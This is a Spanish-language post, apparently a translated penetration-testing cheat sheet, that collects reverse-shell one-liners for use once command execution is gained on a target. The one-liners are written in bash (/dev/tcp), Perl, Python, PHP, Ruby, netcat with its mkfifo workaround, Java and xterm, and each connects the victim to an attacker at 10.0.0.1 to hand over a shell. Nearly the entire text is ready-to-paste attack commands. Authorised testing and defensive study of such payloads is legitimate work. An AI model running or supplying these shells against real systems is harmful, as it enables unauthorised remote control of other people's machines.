Si tenés la suerte de encontrar una vulnerabilidad de ejecución de comandos durante un test de penetración probablemente quieras usar una consola interactiva.
Si no es posible añadir una nueva cuenta, clave SSH o fichero .rhosts y directamente loguearse, el siguiente paso será lanzar una shell reversa o dejar una shell escuchando en un puerto. En este post se verá el primer caso.
Las opciones para crear una shell reversa están limitadas por los lenguajes de scripting instalados en la máquina de la víctima (aunque tambien se podría subir un binario si uno está bien preparado).
Los ejempos a continuación funcionan para sistemas Unix-like. Algunos podrían funcionar también en Windows si se usa «cmd.exe» en vez de «/bin/sh -i».
Cada uno de los métodos siguientes están pensados para ser de una línea para que se puedan copiar fácil, por lo tanto no son muy legibles.
Bash
Algunas versiones de bash pueden usarse como shell reversa (probado en Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Esta es una versión más corta y minimalista de perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
También existe una alternativa en PERL en este enlace.
Python
Probado en GNU/Linux con Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
El código asume que estás usando el descriptor de ficheros número 3. Esto funcionó en mi sistema. Si no lo hace en el tuyo probá con los descriptores 4,5,6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Si querés un fichero .php para subir podés usar php-reverse-shell que es más poderoso y robusto.
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat no suele estar presente en sistemas en producción y aún si lo hace hay que tener en cuenta que algunas versiones no soportan la opción -e.
nc -e /bin/sh 10.0.0.1 1234
Si tenés la versión incorrecta de netcat, Jeff Price points muestra en este enlace que también es posible conseguir una shell de esta forma:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
[Envío anónimo sin probar]
xterm
Una de las maneras más sencillas de obtener una shell reversa es vía una sesión de xterm. El comando a continuación se debe correr en la víctima. Este tratará de conectarse a tu máquina (10.0.0.1 en el puerto 6001).
xterm -display 10.0.0.1:1
Para obtener la shell en tu máquina necesitás iniciar un servidor X que escuche en el puerto 6001. Una de las formas de hacer esto es usando Xnest:
Xnest :1
Necesitarás autorizar a la víctima para que se conecte a tu equipo (también tiene que hacerse en este último):
xhost +targetip
Otras lecturas
Podés chequear Bernardo’s Reverse Shell One-Liners. Tiene shells hechas de otra manera y la que hizo en ruby no usa /bin/sh para funcionar.
También existe una shell reversa escrita en gawk, que viene instalado por defecto en muchas máquinas por lo que lo convierte en una excelente herramienta para pentesters.